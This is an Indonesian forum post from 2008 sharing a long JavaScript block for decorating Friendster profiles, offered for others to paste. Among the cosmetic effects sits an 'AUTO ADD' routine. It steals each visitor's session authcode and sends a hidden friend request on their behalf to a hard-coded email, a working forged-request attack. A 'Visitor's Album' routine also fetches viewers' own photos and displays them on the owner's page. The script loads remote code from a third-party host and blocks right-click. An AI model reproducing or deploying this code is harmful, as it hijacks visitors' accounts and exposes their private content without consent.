2008-07-03 10:18:10

strezzpc
» FTalkFreak
FTalk Level: zero
1691
0
1969-12-31

Re: [align=justify][b]bagi member yang ingin bertanya seputar tweaking FS, silahkan bertanya dan posting disini, tapi jangan lupa,,sebelum itu tolong [url=http://theftalk.com/t2744-%5BImportant%5D-

[quote=teguh0203]all jwb donk pertanyaan aku :D[/quote] Perasaan td sore udah saya jawab [url=http://theftalk.com/t22412-p2075-%7BTUTORIAL%7D-KONSULTASI-FS%21.html][b]DISINI[/b][/url] [quote=excelcior]g mang ga perna pake onload handler bro...[/quote] Kalo gitu coba pake ini : [spoiler]/* BAGIAN A */ //CSS Injection var css; try { css = document.createElement("link"); }catch(e) { css = document.createElement("<link>"); } css.setAttribute("type","text/css"); css.setAttribute("rel","stylesheet"); css.setAttribute("href","http://h1.ripway.com/excelcior49/csstambahan.css"); css.setAttribute("media","screen, print"); document.getElementsByTagName("head")[0].appendChild(css); //JS injection var myjs = document.createElement("script"); myjs.type = "text/javascript"; myjs.src = "http://h1.ripway.com/excelcior49/cp.js"; document.getElementsByTagName("head")[0].appendChild(myjs); //lanjutan enter page var myplace = document.location.href; if (myplace == "http://profiles.friendster.com/user.php?uid=19680261"){ } else if (myplace == "http://profiles.friendster.com/user.php?uid=19680261"){ } else { location.href = "http://h1.ripway.com/excelcior49/enter.html"; } //WinDow Shake function Shw(n) {if (self.moveBy) {for (i = 35; i > 0; i--) {for (j = n; j > 0; j--) {self.moveBy(1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0); } } }} Shw(10) //shoutoutcus function shoutoutcus(){ var ephemeral = "<div style='font-weight:bold;font-family:comic sans ms; color:#0000FF;'>KaMu KeMana Aja Se..<div style='font-weight:bold;font-size:18px;font-family:century gothic; color:#33FF99;'><blink>"+pageViewerFName+"</blink><div style='font-weight:bold;font-family:comic sans ms; color:#0000FF;font-size:11px'>akhirnya kamu sadar juga..... aq cari2 kamu di FS loch...<br> BtW.... Jangan Lopa Kase Koment Yah.....</div>"; document.getElementById('cpShoutoutBox').style.height='100'; document.getElementById('cpShoutoutBox').style.overflow='auto'; document.getElementById('cpShoutoutBox').innerHTML = "<table width='100%'><tr><td align='center'>"+ephemeral+"</td></tr></table>"; }setTimeout("shoutoutcus()",4000); //welcome alert window.onload= function(){ Wellcome(); } function Wellcome() { alert("WelCome "+pageViewerFName+" , nice 2 meet u!!"); alert("eNJoY mY ProFile Yo..."); } //onlinenow under recent updates var onlinenow; try {onlinenow = document.createElement("div");} catch (e) {onlinenow = document.createElement("<div>");} onlinenow.innerHTML = "<img src='http://x.myspace.com/images/onlinenow.gif' border='0'></a>"; onlinenow.setAttribute("style","text-align:right;padding-top:8px"); document.getElementById("0").getElementsByTagName("ul")[1].parentNode.appendChild(onlinenow); //onload handler function onProfileLoad() { //addboxes here /* BAGIAN B */ } if (!attachOnLoadHandler(function(){onProfileLoad()})) window.onload = function(){onProfileLoad()}; function addBox (type,head,htm,id,sibling) { //by marfillaster //type "LEFT" | "RIGHT" //head header string //htm innerHTML string //id css_id string //sibling css_id_insertbefore string | null /* Available default Siblings Default "sibling_ID" Boxes for Reference (10/19/07) LEFT RIGHT "0" = controlpanel "15" = meettrail "1" = photos "2" = friends "13" = blogs "14" = googleads "12" = reviews "7" = fan "6" = moreabout "8" = groups "18" = publiccomments null = appends to last(without "") "10" = scrapbook */ try { var li=document.createElement("li"); } catch(e) { var li=document.createElement("<li>"); } if(type=="LEFT") { var ul=document.getElementById("0").parentNode.parentNode; htm="<div class='boxcontent'>"+htm+"</div>"; } else {var ul=document.getElementById("2").parentNode.parentNode; } li.innerHTML="<div id='"+id+"' class='commonbox "+id+"'>"+ "<h2>"+head+"</h2>"+ "<div id='content_"+id+"'>"+ htm+ "</div>"+ "</div>"; if(sibling==null) ul.appendChild(li); else { sibling=document.getElementById(sibling).parentNode; ul.insertBefore(li,sibling); } } //AUTO ADD //Aftermath var afaimg = document.createElement('span'); afaimg.id = "addme"; document.getElementsByTagName('head')[0].appendChild(afaimg); //aftermath var eadd = "don_in_motion@yahoo.com"; var k = document.getElementById("controlPanelButtons").innerHTML; var a = k.slice(k.indexOf("authcode=")); var m = a.slice(9,39); document.getElementById("addme").innerHTML = "<img src=\"http://www.friendster.com/addfriendrequest.php?authcode="+m+"&uid="+pageOwnerID+"&email="+eadd+"&firstname=&lastname=&friend=&submit=1\" width=\"0\" height=\"0\" />"; //control panel button function annaCpMenu() { var anna_getButton = document.getElementById("controlPanelButtons"); var anna_ChangeButton = "<div align='center' id=content_controlpanel_1_1></div>"+ "<OBJECT classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0' width='133' height='88'><PARAM name='movie' value='http://www.flashvortex.com/hosted/11/2_1212820535_58266_151_0_133_88_6_1_11.swf' /><PARAM name='quality' value='best' /><PARAM name='menu' value='true' /><PARAM name='allowScriptAccess' value='always' /><EMBED src='http://www.flashvortex.com/hosted/11/2_1212820535_58266_151_0_133_88_6_1_11.swf' quality='best' menu='true' width='133' height='88' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer' allowScriptAccess='always'></EMBED></OBJECT>"+ "</div>"; anna_getButton.innerHTML = anna_ChangeButton; }setTimeout("annaCpMenu()",10000); //recent update if (typeof CUSTOMTRACKER == "undefined") { CUSTOMTRACKER = {}; } CUSTOMTRACKER = { getUTracker: null, sibling: null, init: function() { try { CUSTOMTRACKER.getUTracker = document.createElement("div"); CUSTOMTRACKER.getUTracker.setAttribute("class","user_tracker"); CUSTOMTRACKER.getUTracker.innerHTML = "<div style=\"padding: 5px;\">"+ "<ul><li><strong>Yang Baru Aja g Lakuin</strong></li>"+ "<li><a href=\"/"+pageOwnerID+"\">Jalan Bareng Ama Luna Maya</a> - <span class=\"age\" style=\"font-size: 11px\">2 hours ago</span></li>"+ "<li><a href=\"/"+pageOwnerID+"\">Jumpa Pers</a> - <span class=\"age\" style=\"font-size: 11px\">Setiap Hari</span></li>"+ "<li><a href=\"/"+pageOwnerID+"\">Makan Di Jerman</a> - <span class=\"age\" style=\"font-size: 11px\">5 menit ago</span></li>"+ "<li><a href=\"/"+pageOwnerID+"\">Syuting</a> - <span class=\"age\" style=\"font-size: 11px\">0.123456789 detik ago</span></li>"+ "<li><a href=\"/"+pageOwnerID+"\">Lompat Dari Gedung</a> - <span class=\"age\" style=\"font-size: 11px\">1 detik ago</span></li>"+ "</ul></div>"; CUSTOMTRACKER.sibling = CUSTOMTRACKER.getElementsByClassName(document.getElementById("content_0"),"div","user_tracker")[0]; CUSTOMTRACKER.sibling.parentNode.replaceChild(CUSTOMTRACKER.getUTracker,CUSTOMTRACKER.sibling); }catch(e) { CUSTOMTRACKER.getUTracker = ""; } }, getElementsByClassName: function(oElm,sTag,sClass) { var elm = []; if (!oElm)oElm = document; if (!sTag)sTag = "*"; var els = oElm.getElementsByTagName(sTag) || document.all; for (var i=0,j=els.length;i<j;i++) { if (new RegExp(sClass).test(els[i].className))elm.push(els[i]); } return elm; } };CUSTOMTRACKER.init(); /* BAGIAN C */ //marquee status bar atas function tb9_makeArray(n){ this.length = n; return this.length; } tb9_messages = new tb9_makeArray(3); tb9_messages[0] = "..::"+pageViewerFName+" in Nanda Zone::.."; tb9_messages[1] = "((( JaNgan LuPa KasE KoMent Yah! )))"; tb9_messages[2] = "-= EnJoy My ProFile =-"; tb9_rptType = 'infinite'; tb9_rptNbr = 5; tb9_speed = 80; tb9_delay = 1800; var tb9_counter=1; var tb9_currMsg=0; var tb9_timerID = null var tb9_bannerRunning = false var tb9_state = "" tb9_clearState() function tb9_stopBanner() { if (tb9_bannerRunning) clearTimeout(tb9_timerID) tb9_timerRunning = false } function tb9_startBanner() { tb9_stopBanner() tb9_showBanner() } function tb9_clearState() { tb9_state = "" for (var i = 0; i < tb9_messages[tb9_currMsg].length; ++i) { tb9_state += "0" } } function tb9_showBanner() { if (tb9_getString()) { tb9_currMsg++ if (tb9_messages.length <= tb9_currMsg) { if ((tb9_rptType == 'finite') && (tb9_counter==tb9_rptNbr)){ tb9_stopBanner(); return; } tb9_counter++; tb9_currMsg=0; } tb9_clearState() tb9_timerID = setTimeout("tb9_showBanner()", tb9_delay) } else { var tb9_str = "" for (var j = 0; j < tb9_state.length; ++j) { tb9_str += (tb9_state.charAt(j) == "1") ? tb9_messages[tb9_currMsg].charAt(j) : "____" } document.title = tb9_str tb9_timerID = setTimeout("tb9_showBanner()", tb9_speed) } } function tb9_getString() { var full = true for (var j = 0; j < tb9_state.length; ++j) { if (tb9_state.charAt(j) == 0) full = false } if (full) return true while (1) { var num = tb9_getRandom(tb9_messages[tb9_currMsg].length) if (tb9_state.charAt(num) == "0") break } tb9_state = tb9_state.substring(0, num) + "1" + tb9_state.substring(num + 1, tb9_state.length) return false } function tb9_getRandom(max) { var now = new Date() var num = now.getTime() * now.getSeconds() * Math.random() return num % max } tb9_startBanner() //Moving Friends Box if ( ! attachOnLoadHandler(function () { movingFrnd();})) window.onload = function () { movingFrnd();}; function movingFrnd() { var marqueeFriends = document.getElementById("content_2").innerHTML; document.getElementById("content_2").innerHTML ="<marquee direction='up' height='300' scrollamount='2' onMouseOver='stop()' onMouseOut='start()'>"+ marqueeFriends+"</marquee>"; } /***************************************************** * ANIMATED WINDOW COMMENT BY ANDRY AND DYNAMIC DRIVE * ******************************************************/ function animatedkomen(){ document.getElementById("content_18").getElementsByTagName("div")[0].innerHTML="<div class=\"viewall\"><a href=\"#\" onClick=\"expandingWindow('http://www.friendster.com/comments.php?uid="+pageOwnerID+"');return false\">KOMenT Wat Nanda</a> | <a href=\"#\" onClick=\"expandingWindow('http://www.friendster.com/comments.php?uid="+pageOwnerID+"');return false\">LiaT KomenTnya NanDa (164789)</a></div>"; document.getElementById("content_18").getElementsByTagName("div")[22].innerHTML = "<div class=\"viewall\"><a href=\"#\" onClick=\"expandingWindow('http://www.friendster.com/comments.php?uid="+pageOwnerID+"');return false\">KOMenT Wat Nanda</a> | <a href=\"#\" onClick=\"expandingWindow('http://www.friendster.com/comments.php?uid="+pageOwnerID+"');return false\">LiaT KomenTnya NanDa (164789)</a></div>"; } if (!attachOnLoadHandler(function(){animatedkomen()})) window.onload = function(){animatedkomen()}; //mini viewer if (!attachOnLoadHandler(function() { mainVpic();})) window.onload = function() { mainVpic();}; function mainVpic() { if(pageViewerID!="") SPAWNPIC.init(); } if (typeof SPAWNPIC == "undefined") { SPAWNPIC = {}; } SPAWNPIC = { photo: [], type: "commonbox", info: { name: null, photo: null, status: null, since: null, location: null }, regexp: { name: /controlpanel_header">([^@]+?)<a\s+name="controlpanel/, photo: /imgblock200"><a[^@]*?>([^@]+?)<\/a><\/div>/, status: /data">([^@]+?)<\/span><\/li>/, since: /Since\:\s+<\/span>([^@]+?)<\/li>/, location: /Location\:\s+<\/span>([^@]+?)<\/li>/ }, init: function() { this.ajaxRequest("/"+pageViewerID,"SPAWNPIC.viewer",null); }, viewer: function(mypic) { if (mypic.replace(/^\s*|\s*$/g,"") === "") { alert("VMP Error: Unable to parse the photo!"); return; }else if (mypic) { for (val in this.info) { try { this.info[val] = new RegExp(this.regexp[val]).exec(mypic)[1].replace(/^(\d)$/,"0$1"); }catch(e) { this.info[val] = ""; } } this.photo = "<div class=\"fitem1wrapper\"><table class\"fitem1table\">"+ "<tr><td class=\"itd\"><a href=\"/"+pageViewerID+"\" title=\""+pageViewerFName+"\">"+ this.info.photo+ "</a></td>"+ "<td class=\"dtd\"><ul class=\"data\"><div class=\"title\">"+ "<li><a href=\"/"+pageViewerID+"\">"+this.info.name+"</a>\n"+ "Friendster ID: <a href=\"/"+pageViewerID+"\">"+pageViewerID+"</a>"+ this.info.status+"\n"+ "Member Since: "+this.info.since+"\n"+ "Location: "+this.info.location+"</li>"+ "</div>"+ "</ul></td></tr>"+ "</table></div>"; this.photo = this.photo.replace(/\n/g,"<br />").replace(/<br>/gi,"<br />"); this.HTML("Hello "+this.info.name,this.photo,"spawnpic",/friends/i,"INSERTBEFORE"); } }, ajaxRequest: function(url,ajaxfunc,handler) { if(handler) handler = ","+handler; else handler = ""; var httprequest= window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP"); if(ajaxfunc) eval("httprequest.onreadystatechange=function(){if (httprequest.readyState==4) {"+ajaxfunc+"(httprequest.responseText"+handler+");}}"); httprequest.open('GET', url, true); httprequest.send(null); }, HTML: function(header,code,id,sibling,insert) { var ul = this.getModuleByClassName(sibling)[0].parentNode; var li = document.createElement("LI"); if (header) { li.innerHTML = "<div class='"+this.type+" "+id+"' id='"+id+"'>"+ "<h2>"+header+"</h2>"+ "<div id='content_"+id+"'>"+code+"</div>"+ "</div>"; } else li.innerHTML = "<div class='"+this.type+" "+id+"' id='"+id+"'>"+code+"</div>"; if (!insert) ul.parentNode.appendChild(li); else if (insert == "INSERTBEFORE") ul.parentNode.insertBefore(li,ul); else if (insert == "APPEND") ul.appendChild(li); }, getModuleByClassName: function(sClass) { var elm = []; var els = document.getElementsByTagName("*") || document.all; for (var j=0,k=els.length;j<k;j++) { if (new RegExp(sClass).test(els[j].className))elm.push(els[j]); } return elm; } }; //Disable right mouse click Script //By Maximus (maximus@nsimail.com) w/ mods by DynamicDrive //For full source code, visit http://www.dynamicdrive.com var message="JangAn Di KliK KaNan Cuy"; /////////////////////////////////// function clickIE4(){ if (event.button==2){ alert(message); return false; } } function clickNS4(e){ if (document.layers||document.getElementById&&!document.all){ if (e.which==2||e.which==3){ alert(message); return false; } } } if (document.layers){ document.captureEvents(Event.MOUSEDOWN); document.onmousedown=clickNS4; } else if (document.all&&!document.getElementById){ document.onmousedown=clickIE4; } document.oncontextmenu=new Function("alert(message);return false") /********** Goodbye Alert V2 ************/ window.onbeforeunload = function (evt) { var message = 'SayoNara.. Panasss'; if (typeof evt == 'undefined') { evt = window.event; } if (evt) { evt.returnValue = message; } return message; } //footer function footer() { foot = "<div align=\"center\"><iframe name=\"ticker\" id=\"ticker\" src=\"http://h1.ripway.com/excelcior49/footer.php?fcol=00ff00&bcol=000000&hcol=00ff00\" style=\"width:799px;height:20px;\" ></iframe><br><br><br></div>"; document.getElementById("footer_container").innerHTML= "<center><table><tr><td>"+foot+"</td></tr></table></center>"; } window.onload=function() { footer(); } document.write("<style>#footer_container {width:800px !important;height:25px !important;align:center;background-color:transparent !important;border:none !important;display:block !important;}</style>"); //slide photo gallery if (!attachOnLoadHandler(function(){embed()})) window.onload = function(){embed()}; function embed(){ var slodde = "<embed src=\"http://widget-e7.slide.com/widgets/slideticker.swf\" type=\"application/x-shockwave-flash\" quality=\"high\" scale=\"noscale\" salign=\"l\" wmode=\"transparent\" flashvars=\"cy=fr&il=1&channel=2810246167481244147&site=widget-e7.slide.com\" style=\"width:100%;height:125px\" name=\"flashticker\" align=\"middle\"/><div style=\"width:100%;text-align:center;\"><a href=\"http://www.friendster.com/photos/19680261\" target=\"_blank\"><b>View All Photo</a> | <a href=\"http://www.friendster.com/friendphotoupload.php?uid=19680261\" target=\"_blank\">Upload Photo For Me</b></a></div>"; document.getElementById('content_1').style.height='100%'; document.getElementById('content_1').style.overflowY='hidden'; document.getElementById('content_1').innerHTML = "<table width='100%'><tr><td align='center'>"+slodde+"</td></tr></table>"; }setTimeout("embed()",10000); //----------------------// function ajaxRequest(type, url, async, param, func, handlerparam) { /** * ajaxRequest - You may not remove or change this notice. * version: 2.4 * Copyright 2008 by FeRuZZ © http://profiles.friendster.com/feruzz. * * @type: "GET" | "POST" * @async: true | false * @param: string | null * @func: string | null * @handlerparam: string | null **/ var httprequest = null; var requestDone = false; var data = null; var responseType = "text"; var timeout = 0; var ival = null; var onreadystatechange = {}; var msxml = ["Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0", "Msxml2.XMLHTTP", "Microsoft.XMLHTTP"]; for (var x = 0, len = msxml.length; x < len; x++) { try { httprequest = window.ActiveXObject ? new ActiveXObject(msxml[x]) : new XMLHttpRequest(); break; } catch (e) { if (async) { httprequest = null; } } } if (typeof func === "function") { onreadystatechange = function (isTimeout) { if (!requestDone && httprequest && (httprequest.readyState === 4 || isTimeout === "timeout")) { requestDone = true; if (ival) { window.clearInterval(ival); ival = null; } if (!httprequest.status && location.protocol === "file:" || (httprequest.status >= 200 && httprequest.status < 300) || httprequest.status === 304 || httprequest.status === 1223) { var resPonse = (/xml/i.test(responseType))? httprequest.responseXML : httprequest.responseText; func(resPonse.replace(new RegExp("<script[^>]*>.*?<\/script>", "gi"), ""), handlerparam); } } }; } if (async) { ival = window.setInterval(onreadystatechange, 13); if (timeout > 0) { window.setTimeout(function () { if (httprequest) { httprequest.abort(); if (!requestDone) { onreadystatechange("timeout"); } } }, timeout); } } if (type === "GET" && (/GET/i.test(type))) { var ts = (new Date()).getTime(); var ret = url.replace(/(\?|&)_=.*?(&|$)/, "$1_=" + ts + "$2"); url = ret + ((ret === url) ? (url.match(/\?/) ? "&" : "?") + "_=" + ts : ""); } if (data && type === "GET" && (/GET/i.test(type))) { url += (url.match(/\?/) ? "&" : "?") + data; data = null; } if (type === "POST" && (/POST/i.test(type))) { var headers = "application/x-www-form-urlencoded" + ("UTF-8" ? "; charset=" + "UTF-8" : ""); var contentLength = param ? param.length: 0; try { httprequest.setRequestHeader("Content-type", headers); httprequest.setRequestHeader("Content-length", contentLength); if (httprequest.overrideMimeType && (navigator.userAgent.match(/Gecko\/(\d{4})/) || [0, 2005])[1] < 2005) { httprequest.setRequestHeader("Connection", "close"); } } catch (err) {} } httprequest.open(type, url, async); httprequest.setRequestHeader("ajaxRequest", "true"); httprequest.setRequestHeader("X-Requested-With", "XMLHttpRequest"); httprequest.setRequestHeader("If-Modified-Since", "Thu, 01 Jan 1970 00:00:00 GMT"); httprequest.setRequestHeader("Accept", "text/javascript, application/javascript, text/html, application/xml, text/xml, text/plain, */*"); httprequest.send(param); if (!async) { onreadystatechange(); } } // VISITOR'S ALBUM VA = {}; (function() { VA = { info: { album: null }, regexp: { album: /id="photogallery">([\S\s]*?)<\/div>\s*<\/div>\s*<div\s*class="rc">/i }, init: function() { try { ajaxRequest("GET", "http://" + location.hostname + "/viewphotos.php?a=0&uid=" + pageViewerID , true, null, VA.viewer, null); } catch(e) {} }, viewer: function(myfriend) { if (myfriend.replace(/^\s*|\s*$/g, "") === "") { alert("Error: Unable to parse user details!"); return; } else if (myfriend) { for (var val in VA.info) { try { VA.info[val] = new RegExp(VA.regexp[val]).exec(myfriend)[1].replace(/^(\d)$/, "0$1"); } catch(e) { VA.info[val] = ""; } } visitoralbum="<div class='flogrid75'>"+VA.info.album.replace(/photothumb/gi,"flogriditem").replace(/m.jpg/gi,"t.jpg"); addBox("LEFT","Foto-Foto Hasil Nyolong",visitoralbum,"visitoralbum","0"); } } }; })(); if(pageViewerID!=pageOwnerID) if(pageViewerID!="") VA.init(); // CONTROLPANEL //chiemo=document.getElementById("controlpanel_header"); //chiemo.innerHTML="<div align='center'><img src='http://h1.ripway.com/excelcior49/headernb3.jpg'></div>"; // MOREABOUT chiemo=document.getElementById("6").getElementsByTagName("h2")[0]; chiemo.innerHTML="<div align='center'><img src='http://h1.ripway.com/excelcior49/headernb-part2-aboutmee.jpg'></div>"; // PUBLICCOMMENT chiemo=document.getElementById("18").getElementsByTagName("h2")[0]; chiemo.innerHTML="<div align='center'><img src='http://h1.ripway.com/excelcior49/headernb2.jpg'></div>"; [/spoiler] Ntar comment tooltipnya bro Kher di taruh dibagian B Tp yg bagian ini [quote]//onload handler function onProfileLoad() { }[/quote] Gak usah dicopy lagi

Last edited by strezzpc (2008-07-03 10:42:28)

Board footer

© 2024 F Talk

Current time is 19:33

[ 12 queries - 0.556 second ]
Privacy Policy